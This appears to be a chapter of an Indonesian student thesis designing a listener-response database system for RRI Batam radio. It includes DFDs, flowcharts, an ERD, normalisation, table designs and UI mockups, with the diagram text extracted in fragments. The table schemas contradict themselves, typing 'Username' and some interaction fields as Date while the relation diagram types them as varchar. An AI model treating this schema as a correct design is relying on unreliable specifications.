Pemeriksaan Lap. data respon pendengar
Lap.data respon pendengar PDF
2
1
Ditolak
Disetujui
End
Database respon pendengar
Data Respon Pendengar
Data Respon Pendengar
Input data respon pendengar di Sistem
(Data Pendengar,Interaksi Pendengar & Detail
Acara)
Database respon pendengar
Lap.data respon pendengar (PDF)
Lap. akhir data respon pendengar PDF
Gambar 4.2 Alur Sistem Informasi Data Respon Pendengar Yang Diusulkan
4.2.1 Rancangan Data Flow Diagram (DFD)
4.2.1.1 Diagram Konteks Sistem Informasi Data Respon
Pendengar Pada RRI BATAM
Gambar 4.3 Diagram Konteks
ADMIN PENYIARSISTEM INFORMASI
DATA RESPON PENDENGAR
Input Data PenyiarInput Daftar AcaraInput Data PendengarInput Detail AcaraInput Interaksi Pendengar
Input Data PendengarInput Detail Acara
Input Interaksi Pendengar
Melihat/Mencetak Data PenyiarMelihat/Mencetak Daftar AcaraMelihat/Mencetak Data PendengarMelihat/Mencetak Detail AcaraMelihat/Mencetak Interaksi PendengarMelihat Respon Pendengar
Melihat/Mencetak Data PendengarMelihat/Mencetak Detail Acara
Melihat/Mencetak Interaksi PendengarMelihat Respon Pendengar
69
Diagram konteks dibuat untuk menggambarkan suatu sistem secara
global dari keseluruhan yang diajukan. Berikut ini adalah Diagram
Konteks Sistem Informasi Data Respon Pendengar RRI BATAM.
4.2.1.2 (DFD) Level 0 Sistem Informasi Data Respon Pendengar
Pada RRI BATAM
Diagram Nol berfungsi untuk menggambarkan tahap-tahap proses
yang ada didalam diagram konteks secara terinci. Berikut ini adalah
Gambar 4.4 DFD Level 0 Admin
ADMIN
Proses 1.0Input Data
Respon Pendengar
Daftar AcaraDetail AcaraData PendengarInteraksi PendengarData Penyiar
Proses 2.0Total Data
Respon Pendengar
Proses 3.0View Data
Respon Pendengar
Interaksi Pendengar
Daftar Acara
Detail Acara
Data Penyiar
Respon Pendengar
MenginputData Respon Pendengar
Menghitung Data Respon Pendengar
Melihat/Mencetak Data Respon Pendengar
Lap.Data Respon Pendengar Data Pendengar
70
Gambar 4.5 DFD Level 0 Penyiar
PENYIAR
Proses 1.0Input Data
Respon Pendengar
Data PendengarDetail AcaraInteraksi Pendengar
Proses 2.0Total Data
Respon Pendengar
Proses 3.0View Data
Respon Pendengar
Interaksi Pendengar
Daftar Acara
Data Pendengar
Detail Acara
Respon Pendengar
MenginputData Respon Pendengar
Menghitung Data Respon Pendengar
Melihat/Mencetak Data Respon Pendengar
Lap.Data Respon Pendengar
71
4.2.2 Rancangan Flowchart Program
Gambar 4.6 Flowchart Program Halaman Awal (Admin)
Halaman Login
Start
Verifikasi Login
Dashboard
Berhasil
Gagal
ADaftar Acara
Detail Acara
Data Pendengar
Data Penyiar
Respon Pendengar
B
C
D
E
Ya
Ya
Ya
Ya
Ya
Tidak
Tidak
Tidak
Tidak
End
Keluar
Ya
Tidak
72
A
Input
View
Edit
Delete
Tidak
Tidak
Tidak
Tidak
Input Daftar Acara
V
Ya
Edit Daftar Acara
Print Daftar Acara
Delete Daftar Acara
View Daftar Acara
V
V
Ya
Ya
Ya
Ya
GagalBerhasil
GagalBerhasil
Tidak
Tidak
Print Out Daftar Acara
Gambar 4.7 Flowchart Program Daftar Acara (Admin)
73
Input
View
Edit
Delete
Tidak
Tidak
Tidak
Tidak
Input Detail Acara
V
Ya
Edit Detail Acara
Print Detail Acara
Delete Detail Acara
View Detail Acara
V
V
Ya
Ya
Ya
Ya
Gagal
Gagal
Tidak
Print Out Detail Acara
Berhasil
Tidak
Save
Berhasil
Input Interaksi Pendengar
Save
V
Berhasil
Gagal
Isi Interaksi Pendengar ?
Ya
Tidak
B
Gambar 4.8 Flowchart Program Detail Acara (Admin)
74
C
Input
View
Edit
Delete
Tidak
Tidak
Tidak
Tidak
Input Data Pendengar
V
Ya
Edit Data Pendengar
Print Data Pendengar
Delete Data Pendengar
View Data Pendengar
V
V
Ya
Ya
Ya
Ya
Gagal
Gagal
Tidak
Print Out Data Pendengar
Berhasil
Berhasil
Tidak
Gambar 4.9 Flowchart Program Data Pendengar (Admin)
75
D
Input
View
Edit
Delete
Tidak
Tidak
Tidak
Tidak
Input Data Penyiar
V
Ya
Edit Data Penyiar
Print Data Penyiar
Delete Data Penyiar
View Data Penyiar
V
V
Ya
Ya
Ya
Ya
Ya
Gagal
Gagal
Tidak
Berhasil
Berhasil
Print Out Data Penyiar
Tidak
Gambar 4.10 Flowchart Program Data Penyiar (Admin)
76
E
View
Delete
Tidak
Tidak
View Respon Pendengar
Ya
Delete Respon Pendengar
Ya
Gambar 4.11 Flowchart Program Respon Pendengar (Admin)
77
Gambar 4.12 Flowchart Program Halaman Awal (Penyiar)
Halaman Login
Start
Verifikasi Login
Dashboard
Berhasil
Gagal
ADaftar Acara
Detail Acara
Data Pendengar
Respon Pendengar
B
C
D
Ya
Ya
Ya
Ya
Tidak
Tidak
Tidak
End
Respon Pendengar
Ya
Tidak
78
A
View
Tidak
View Daftar Acara
Ya
Print Daftar Acara
V
Ya
Tidak
Print Out Daftar Acara
Gambar 4.13 Flowchart Program Daftar Acara (Penyiar)
79
B
Input
View
Edit
Delete
Tidak
Tidak
Tidak
Tidak
Input Detail Acara
V
Ya
Edit Detail Acara
Print Detail Acara
Delete Detail Acara
View Detail Acara
V
V
Ya
Ya
Ya
Ya
Gagal
Gagal
Tidak
Print Out Detail Acara
Berhasil
Tidak
Save
Berhasil
Input Interaksi Pendengar
Save
V
Berhasil
Gagal
Isi Interaksi Pendengar ?
Ya
Tidak
Gambar 4.14 Flowchart Program Detail Acara (Penyiar)
80
C
Input
View
Edit
Delete
Tidak
Tidak
Tidak
Tidak
Input Data Pendengar
V
Ya
Edit Data Pendengar
Print Data Pendengar
Delete Data Pendengar
View Data Pendengar
V
V
Ya
Ya
Ya
Ya
Gagal
Gagal
Tidak
Print Out Data Pendengar
Berhasil
Berhasil
Tidak
Gambar 4.15 Flowchart Program Data Pendengar (Penyiar)
81
D
View
Delete
TidakTidak
View Respon Pendengar
Ya
Delete Respon Pendengar
Ya
Gambar 4.16 Flowchart Program Respon Pendengar (Penyiar)
4.2.3 Entity Relationship Diagram (E-RD) Sistem Informasi Data
Respon Pendengar Pada RRI BATAM
Diagram E-RD merupakan sebuah teknik pemodelan data yang
mempresentasikan gambar entitas dan relasi-relasi antar entitas didalam
sistem informasi. Data inilah yang akan digunakan dalam mendesain tabel
yang akan digunakan dalam pembuatan basis data. Untuk lebih jelas dapat
dilihat pada gambar 4.17 dibawah ini
82
Gambar 4.17 Entity Relationship Diagram (E-RD) Admin
UsernamePassword
ADMIN(Entitas)
Mengelola Data Pendengar
Detail Acara
Data Penyiar
Interaksi Pendengar
I
ID_Daftar_Acara
Nama_AcaraPrograma
Deskripsi_AcaraID_Detail_AcaraID_Daftar_AcaraNama_PenyiarTanggal_Acara
Melihat/Mencetak
I
Daftar Acara
ID_Data_PendengarNama
Tempat_LahirTanggal_LahirJenis_Kelamin
EmailAlamat
No_TeleponAgama
Pendidikan
ID_Interaksi_PendengarID_Detail_Acara
Nama_AcaraNama_PenyiarTanggal_AcaraJenis_Interaksi
Media_InteraksiPendengarInteraksi
ID_PenyiarNama_Lengkap
EmailUsernamePassword
Data Pendengar
Detail Acara
Data Penyiar
Interaksi Pendengar
M
ID_Daftar_AcaraNama_Acara
ProgramaDeskripsi_Acara
ID_Detail_AcaraID_Daftar_AcaraNama_PenyiarTanggal_Acara
Daftar Acara
ID_Data_PendengarNama
Tempat_LahirTanggal_LahirJenis_Kelamin
EmailAlamat
No_TeleponAgama
Pendidikan
ID_Interaksi_PendengarID_Detail_Acara
Nama_AcaraNama_PenyiarTanggal_AcaraJenis_Interaksi
Media_InteraksiPendengarInteraksi
ID_PenyiarNama_Lengkap
EmailUsernamePassword
ID_Adm
I
83
Gambar 4.18 Entity Relationship Diagram (E-RD) Penyiar
Username Password
PENYIAR(Entitas)
Mengelola Data Pendengar
Detail Acara
Interaksi Pendengar
I
ID_Detail_Acara
ID_Daftar_Acara
Nama_Penyiar
Tanggal_Acara
Melihat/Mencetak
M
ID_Data_Pendengar
Nama
Tempat_Lahir
Tanggal_Lahir
Jenis_Kelamin
Alamat
No_Telepon
Agama
Pendidikan
ID_Interaksi_Pendengar
ID_Detail_Acara
Nama_Acara
Nama_Penyiar
Tanggal_Acara
Jenis_Interaksi
Media_Interaksi
Pendengar
Interaksi
M Data Pendengar
Detail Acara
Interaksi Pendengar
M
ID_Daftar_Acara
Nama_Acara
Programa
Deskripsi_Acara
ID_Detail_Acara
ID_Daftar_Acara
Nama_Penyiar
Tanggal_Acara
Daftar Acara
ID_Data_Pendengar
Nama
Tempat_Lahir
Tanggal_Lahir
Jenis_Kelamin
Alamat
No_Telepon
Agama
Pendidikan
ID_Interaksi_Pendengar
ID_Detail_Acara
Nama_Acara
Nama_Penyiar
Tanggal_Acara
Jenis_Interaksi
Media_Interaksi
Pendengar
Interaksi
84
4.2.4 Normalisasi
Normalisasi merupakan proses pembentukan struktur basis data
sehingga sebagian besar ambiguity bias dihilangkan sehingga dapat basis
data yang terbentuk lebih akurat dan efisien.
1. Normalisasi ke 1 (1 NF)
Pada tahap ini dilakukan penghilangan beberapa group elemen
yang berulang agar menjadi satu harga tunggal yang berinteraksi diantara
setiap baris pada suatu tabel, dan setiap atribut harus mempunyai nilai data
yang tidak memiliki sifat induknya. Untuk menyederhanakan relasi
tersebut dibentuk relasi-relasi dengan memisahkan kelompok berulang
dengan kelompok tak berulang. Untuk masing-masing kelompok berulang
disertakan kunci utama dalam relasi yang terbentuk.
Tabel 4.1 Normalisasi ke 1 (1 NF)
85
2. Normalisasi ke 2 (2 NF)
Bentuk normal kedua didasari atas konsep ketergantungan
fungsional sepenuhnya. Dari hasil normalisasi diatas menghasilkan Tabel,
yaitu:
Tabel 4.2 Normalisasi ke 2 (2 NF)
Berikut adalah gambar normalisasi relasi :
Gambar 4.19 Normalisasi Relasi
tb_daftar_acara
ID_Daftar_AcaraNama_AcaraProgramaDeskripsi_Acara
tb_detail_acara
ID_Detail_AcaraNama_AcaraNama_PenyiarTanggal_Acara
tb_data_penyiar
ID_PenyiarNama_LengkapEmailUsernamePassword
tb_data_pendengar
ID_Data_PendengarNamaTempat_LahirTanggal_LahirJenis_KelaminEmailAlamatNo_TeleponAgamaPendidikan
tb_interaksi_pendengar
ID_Detail_AcaraNama_AcaraNama_PenyiarTanggal_AcaraID_Interaksi_PendengarJenis_InteraksiMedia_InteraksiPendengarInteraksi
tb_admin
ID_AdmUsernamePassword
86
4.2.5 Rancangan Basis Data
Rancangan database dimaksudkan untuk mengelompokkan data
dalam bentuk field-field/kolom-kolom yang dapat memberikan informasi
bagi yang membutuhkan. Berikut ini rancangan data base yang digunakan
untuk mendukung Sistem Informasi Data Respon Pendengar Pada RRI
BATAM.
1. Tabel Admin
# Name Type Length/Values Note
1 ID_Adm Varchar 15 Primary Key
2 Username Date 15
3 Password Varchar 15
2. Tabel Daftar Acara
# Name Type Length/Values Note
1 ID_Daftar_Acara Varchar 15 Primary Key
2 Nama_Acara Varchar 25
3 Programa Varchar 10
4 Deskripsi_Acara Varchar 50
3. Tabel Detail Acara
# Name Type Length/Values Note
1 ID_Detail_Acara Varchar 15 Primary Key
2 Nama_Acara Varchar 25
3 Nama_Penyiar Varchar 25
4 Tanggal_Acara Date -
87
4. Tabel Data Penyiar
# Name Type Length/Values Note
1 ID_Penyiar Varchar 5 Primary Key
2 Nama_Lengkap Varchar 25
3 Email Varchar 25
4 Username Date 25
5 Password Varchar 25
5. Tabel Data Pendengar
# Name Type Length/Values Note
1 ID_Data_Pendengar Varchar 15 Primary Key
2 Nama Varchar 50
3 Tempat_Lahir Varchar 25
4 Tanggal_Lahir Date -
5 Jenis_Kelamin Varchar 15
6 Email Varchar 25
7 Alamat Varchar 25
8 No_Telepon Varchar 12
9 Agama Varchar 25
10 Pendidikan Varchar 25
88
6. Tabel Interaksi Pendengar
# Name Type Length/Values Note
1 ID_Detail_Acara Varchar 15
2 Nama_Acara Varchar 15
3 Nama_Penyiar Varchar 50
4 Tanggal_Acara Date -
5 ID_Interaksi_Pendengar Varchar 15 Primary Key
6 Jenis_Interaksi Varchar 25
7 Media_Interaksi Varchar 25
8 Pendengar Date 25
9 Interaksi Date 25
4.2.6 Rancangan Relasi Basis Data
Gambar 4.20 Relasi Basis Data
tb_daftar_acara
ID_Daftar_Acara : varchar (15)Nama_Acara : varchar (25)Programa : varchar (10)Deskripsi_Acara : varchar (50)
tb_detail_acara
ID_Detail_Acara : varchar (15)Nama_Acara : varchar (25)Nama_Penyiar : varchar (25)Tanggal_Acara : date
tb_data_penyiar
ID_Penyiar : varchar (5)Nama_Lengkap : varchar (25)Email : varchar (25)Username : varchar (25)Password : varchar (25)
tb_data_pendengar
ID_Data_Pendengar : varchar (15)Nama : varchar (50)Tempat_Lahir : varchar (25)Tanggal_Lahir : dateJenis_Kelamin : varchar (15)Email : varchar (25)Alamat : varchar (25)No_Telepon : varchar (12)Agama : varchar (25)Pendidikan : varchar (25)
tb_interaksi_pendengar
ID_Detail_Acara : varchar (15)Nama_Acara : varchar (15)Nama_Penyiar : varchar (50)Tanggal_Acara : dateID_Interaksi_Pendengar : varchar (15)Jenis_Interaksi : varchar (25)Media_Interaksi : varchar (25)Pendengar : varchar (25)Interaksi : varchar (25)
tb_admin
ID_Adm : varchar (15)Username : varchar (15)Password : varchar (15)
89
Rancangan Data Base yang telah dibuat selanjutnya dibuat
Rancangan Relasi Data Base dengan tujuan agar antara tabel-tabel data
base saling berhubungan dan tidak terjadi redudansi data. Berkut adalah
Rancangan dari Relasi Data Base.
4.2.7 Perancangan Prototype/Tampilan
Perancangan Prototype/Tampilan berfungsi sebagai desain awal
tampilan program. Berikut adalah gambar Perancangan
Prototype/Tampilan.
4.2.7.1 Rancangan Homepage Web
Gambar 4.21 Homepage Web
Respon Data PendengarContactAboutHome
SLIDING IMAGE PREVIEW
Logo
ABOUT US
MAPS
CONTACT
VISI MISI MULTI CAPABILITY
90
4.2.7.2 Rancangan Login
Gambar 4.22 Login Web
4.2.7.3 Rancangan Menu Daftar Acara
Gambar 4.23 Menu Daftar Acara
Username
Password
Sign In Cancel
Sign In
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Daftar AcaraSub Menu “Log Out”
Tab “Add New Data” Tab “Export PDF”
“ID Daftar Acara” “Programa” “Deskripsi Acara” “OPTION”
Tab “Hapus Data”Tab “Edit Data”
Tab “Edit Data” Tab “Hapus Data”
Data Input 1 “ID Daftar Acara” Data Input 1 “Deskripsi Acara”
Data Input 2 “ Deskripsi Acara”Data Input 2 “ID Daftar Acara”
Data Input 1 “Programa”
Data Input 2 “Programa”
Menu “Data Penyiar”
Menu “Respon Pendengar”
91
4.2.7.4 Rancangan Menu Detail Acara
Gambar 4.24 Menu Detail Acara
4.2.7.5 Rancangan Menu Data Pendengar
Gambar 4.25 Menu Data Pendengar
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Tab “Add New Data”
Sub Menu “Log Out”
Detail AcaraTab “Export PDF”
“ID Daftar Acara” “OPTION”
Data Input 1 “ID Daftar Acara” Tab “Edit Data” Tab “Hapus Data”
Tab “Edit Data” Tab “Hapus Data”
“Nama Penyiar” “Tanggal Acara” “Detail”
Tab “Detail”
Tab “Detail”Data Input 2 “ID Daftar Acara”
Data Input 1 “Nama Penyiar”
Data Input 2 “Nama Penyiar”
Data Input 1 “Tanggal Acara”
Data Input 2 “Tanggal Acara”
Tab “Edit Data” Tab “Hapus Data”Tab “Detail”Data Input .. “ID Daftar Acara” Data Input ..“Nama Penyiar” Data Input ..“Tanggal Acara”
Menu “Data Penyiar”
Menu “Respon Pendengar”
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Tab “Add New Data”
Sub Menu “Log Out”
Data PendengarTab “Export PDF”
“Nama” “OPTION”
Data Input 1 “Data Pendengar”Tab
“Edit Data”
Tab“Hapus Data”
“Tempat Lahir”
“Tanggal Lahir”
“Jenis Kelamin” “Email” “Alamat”
Tab“Edit Data”
Tab“Hapus Data”
Tab“Edit Data”
Tab“Hapus Data”
“No Telepon” “Agama” “Pendidikan”
Data Input 2 “Data Pendengar”
Data Input ... “Data Pendengar”
Menu “Data Penyiar”
Menu “Respon Pendengar”
92
4.2.7.6 Rancangan Menu Data Penyiar
Gambar 4.26 Menu Data Penyiar
4.2.7.7 Rancangan Menu Respon Pendengar
Gambar 4.27 Menu Respon Pendengar
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Data PenyiarSub Menu “Log Out”
Tab “Add New Data” Tab “Export PDF”
Nama Lengkap Email Username “OPTION”
Tab “Hapus Data”Tab “Edit Data”
Tab “Edit Data” Tab “Hapus Data”
Data Input 1 “Nama Lengkap” Data Input 1 “Username”
Data Input 2 “Username”Data Input 2 “Nama Lengkap”
Data Input 1 “Email”
Data Input 2 “Email”
Menu “Data Penyiar”
Menu “Respon Pendengar”
Password
Data Input 1 “Password”
Data Input 2 “Password”
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Menu “Data Penyiar”
Menu “Respon Pendengar”
Show entries Search:
No ID Detail Acara Nama Acara Nama Penyiar Tanggal Acara ID Interaksi Pendengar Jenis Interaksi Media Interaksi Pendengar Interaksi Option
93
4.2.7.8 Rancangan Menu Tambah Data (Daftar Acara)
Gambar 4.28 Menu Tambahan Data (Daftar Acara)
4.2.7.9 Rancangan Menu Tambah Data (Detail Acara)
Gambar 4.29 Menu Tambahan Data (Detail Acara)
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Tambah Data
Automatic ID
Option Pilihan Programa
SIMPAN CANCEL
ID DAFTAR ACARA
Nama Acara
Programa
Deskripsi Acara
Menu “Data Penyiar”
Menu “Respon Pendengar”
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Tambah Data
ID DETAIL ACARA
Automatic ID
Option Pilihan Nama Penyiar
SIMPAN CANCEL
ID Daftar Acara
Nama Penyiar
Tanggal Acara
mm/dd/yyyy (option automatic calender/manual input)
Option Pilihan Program Acara
Menu “Data Penyiar”
Menu “Respon Pendengar”
94
4.2.7.10 Rancangan Menu Tambah Data (Interaksi Pendengar)
Gambar 4.30 Menu Tambahan Data (Interaksi Pendengar)
4.2.7.11 Rancangan Menu Tambah Data (Data Pendengar)
Gambar 4.31 Menu Tambahan Data (Data Pendengar)
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Tambah Data
ID INTERAKSI PENDENGAR
Automatic ID
Pilihan Media Interaksi
SIMPAN CANCEL
Jenis Interaksi
Media Interaksi
Pendengar
Pilihan Jenis Interaksi
Pilihan Nama Pendengar
Interaksi
+ Add New Respon
Menu “Data Penyiar”
Menu “Respon Pendengar”
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Tambah DataID DATA PENDENGAR
Automatic ID
Nama
Tempat Lahir
Tanggal Lahir
mm/dd/yyyy (option automatic calender/manual input)
Pilihan Jenis Kelamin
Pilihan Agama
Pilihan Pendidikan
Jenis Kelamin
Alamat
No Telepon
Agama
Pendidikan
SIMPAN CANCEL
Menu “Data Penyiar”
Menu “Respon Pendengar”
95
4.2.7.12 Rancangan Menu Tambah Data (Data Penyiar)
Gambar 4.32 Menu Tambahan Data (Data Penyiar)
4.2.7.13 Rancangan Menu Edit Data (Daftar Acara)
Gambar 4.33 Menu Edit Data (Daftar Acara)
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Edit Daftar Acara
Automatic ID
Option Pilihan Programa
SIMPAN CANCEL
ID DAFTAR ACARA
Nama Acara
Programa
Deskripsi Acara
*Hapus Data Lalu Edit
Menu “Data Penyiar”
Menu “Respon Pendengar”
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Tambah Data
Automatic ID
SIMPAN CANCEL
ID PENYIAR
Nama Lengkap
Username
Menu “Data Penyiar”
Menu “Respon Pendengar”
Password
96
4.2.7.14 Rancangan Menu Edit Data (Detail Acara)
Gambar 4.34 Menu Edit Data (Detail Acara)
4.2.7.15 Rancangan Menu Edit Data (Data Pendengar)
Gambar 4.35 Menu Edit Data (Data Pendengar)
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Edit Detail Acara
ID DETAIL ACARA
Automatic ID
Option Pilihan Nama Penyiar
SIMPAN CANCEL
ID Daftar Acara
Nama Penyiar
Tanggal Acara
mm/dd/yyyy (option automatic calender/manual input)
Option Pilihan Program Acara
*Hapus Data Lalu Edit
Menu “Data Penyiar”
Menu “Respon Pendengar”
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Edit Data PendengarID DATA PENDENGAR
Automatic ID
Nama
Tempat Lahir
Tanggal Lahirmm/dd/yyyy (option automatic calender/manual input)
Pilihan Jenis Kelamin
Pilihan Agama
Pilihan Pendidikan
Jenis Kelamin
Alamat
No Telepon
Agama
Pendidikan
SIMPAN CANCEL
*Hapus Data Lalu Edit
*Hapus Data Lalu Edit
*Hapus Data Lalu Edit
Menu “Data Penyiar”
Menu “Respon Pendengar”
97
4.2.7.16 Rancangan Menu Edit Data (Data Penyiar)
Gambar 4.36 Menu Edit Data (Data Penyiar)
4.2.7.17 Rancangan PDF Daftar Acara
Gambar 4.37 PDF Daftar Acara
LOGO DAFTAR ACARA RADIO REPUBLIK INDONESIA BATAM
DeskripsiProgramaNama AcaraID
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Edit Data Penyiar
Automatic ID
SIMPAN CANCEL
ID PENYIAR
Nama Lengkap
Username
Menu “Data Penyiar”
Menu “Respon Pendengar”
Password
98
4.2.7.18 Rancangan PDF Detail Acara
Gambar 4.38 PDF Detail Acara
4.2.7.19 Rancangan PDF Data Pendengar
Gambar 4.39 PDF Data Pendengar
LOGO DETAIL ACARA RADIO REPUBLIK INDONESIA BATAM
Tanggal AcaraNama PenyiarID_Daftar_AcaraID
LOGO DATA PENDENGAR RADIO REPUBLIK INDONESIA BATAM
AlamatEmailJenis KelaminTanggal LahirTempat LahirNamaID No Telepon
99
4.2.7.20 Rancangan PDF Data Penyiar
Gambar 4.40 PDF Data Penyiar
4.2.7.21 Rancangan Pop Up Detail Acara
Gambar 4.41 Pop Up Detail Acara
LOGO DATA PENYIAR RADIO REPUBLIK INDONESIA BATAM
EmailNama PenyiarID_Penyiar
TITLE WEBSITE “DATABASE RESPON PENDENGAR RRI” Menu “Account Name”
Menu “Dashboard”
Menu “Program Acara”
Sub Menu “Daftar Acara”
Sub Menu “Detail Acara”
Menu “Profil Pendengar”
Sub Menu “Data Pendengar”
Sub Menu “Log Out”
Detail Acara
Keluar
Detail Acara x
Nama Acara :
Programa :
Deskripsi Acara :
Background Detail Acara Sub Menu
100
4.3 Implementasi
4.3.1 Homepage Web
Homepage Web merupakan halaman yang pertama kali akan tampil
ketika dijalankan dalam web browser, sebelum admin/penyiar login. di
halaman utama terdapat menu home, about, contact dan respon data
pendengar. Tampilan halaman utama dapat dilihat pada gambar 4.42.
Gambar 4.42 Homeplage Web
4.3.2 Rancangan Login
Gambar 4.43 Rancangan Login
101
Login dibutuhkan untuk mengakses sistem dengan memasukkan
identitas dari account pengguna (admin/penyiar) dan kata sandi guna
mendapatkan hak akses dari sistem informasi data respon pendengar.
4.3.3 Menu Dashboard
Dashboard merupakan halaman utama ketika login sebagai
admin/penyiar. di halaman utama utama terdapat menu-menu yang dapat
diakses admin/penyiar untuk memanajemen setiap data pada menu sistem
informasi. Tampilan halaman utama admin dapat dilihat pada gambar 4.44
Gambar 4.44 Menu Dashboard
4.3.4 Menu Daftar Acara
Menu daftar acara merupakan halaman yang digunakan admin
untuk melakukan view, input, edit, delete dan cetak terhadap daftar acara.
Tampilan halaman menu daftar acara dapat dilihat pada gambar 4.45.
102
Gambar 4.45 Menu Daftar Acara
4.3.5 Menu Detail Acara
Menu detail acara merupakan halaman yang digunakan
admin/penyiar untuk melakukan view, input, edit, delete dan cetak
terhadap data detail acara. Tampilan halaman menu detail acara dapat
dilihat pada gambar 4.46.
Gambar 4.46 Menu Detail Acara
103
4.3.6 Menu Data Pendengar
Menu data pendengar merupakan halaman yang digunakan
admin/penyiar untuk melakukan view, input, edit, delete dan cetak
terhadap data pendengar. Data pendengar didapatkan dari media sosial,
media komunikasi, dan tatap muka untuk registrasi pendengar. Tampilan
data pendengar dapat dilihat pada gambar 4.47.
Gambar 4.47 Menu Data Pendengar
4.3.7 Menu Data Penyiar
Menu data penyiar merupakan halaman yang digunakan admin
untuk melakukan view, input, edit, delete dan cetak terhadap data penyiar.
Tampilan halaman menu data penyiar dapat dilihat pada gambar 4.48.
104
Gambar 4.48 Menu Data Penyiar
4.3.8 Menu Respon Pendengar
Menu respon pendengar merupakan halaman yang digunakan
admin/penyiar untuk melakukan delete dan view terhadap respon
pendengar. Tampilan respon pendengar dapat dilihat pada gambar 4.49.
Gambar 4.49 Menu Respon Pendengar
105
4.3.9 Menu Tambah Data (Daftar Acara)
Menu tambah data (daftar acara) merupakan halaman yang
digunakan admin untuk melakukan penambahan data terhadap nama acara,
programa, dan deskripsi acara terhadap daftar acara. Tampilan daftar acara
dapat dilihat pada gambar 4.50.
Gambar 4.50 Menu Tembahan Data (Daftar Acara)
4.3.10 Menu Tambah Data (Detail Acara)
Gambar 4.51 Menu Tembahan Data (Detail Acara)
106
Menu tambah data (detail acara) merupakan halaman yang
digunakan admin/penyiar untuk melakukan penambahan data terhadap
nama acara, nama penyiar, dan tanggal acara terhadap detail acara.
Tampilan detail acara dapat dilihat pada gambar 4.51.
4.3.11 Menu Tambah Data (Interaksi Pendengar)
Menu tambah data (interaksi pendengar) merupakan halaman yang
digunakan admin/penyiar untuk melakukan penambahan data terhadap
jenis interaksi, media interaksi, pendengar, dan interaksi terhadap interaksi
pendengar. Tampilan interaksi pendengar dapat dilihat pada gambar 4.52.
Gambar 4.52 Menu Tembahan Data (Interaksi Pendengar)
107
4.3.12 Menu Tambah Data (Data Pendengar)
Gambar 4.53 Menu Tembahan Data (Data Pendengar)
Menu tambah data (data pendengar) merupakan halaman yang
digunakan admin/penyiar untuk melakukan penambahan data terhadap
nama, tempat lahir, tanggal lahir, jenis kelamin, email, alamat, no telepon,
agama dan pendidikan terhadap data pendengar. Tampilan data pendengar
dapat dilihat pada gambar 4.53.
4.3.13 Menu Tambah Data (Data Penyiar)
Menu tambah data (data penyiar) merupakan halaman yang
digunakan admin untuk melakukan penambahan data terhadap nama
lengkap, email, username, dan password terhadap data penyiar. Tampilan
data penyiar dapat dilihat pada gambar 4.54.
108
Gambar 4.54 Menu Tembahan Data (Data Penyiar)
4.3.14 Menu Edit Data (Daftar Acara)
Menu edit data (daftar acara) merupakan halaman yang digunakan
admin untuk melakukan pengeditan data terhadap nama acara, programa,
dan deskripsi acara terhadap daftar acara. Tampilan daftar acara dapat
dilihat pada gambar 4.55.
Gambar 4.55 Menu Edit (Daftar Acara)
109
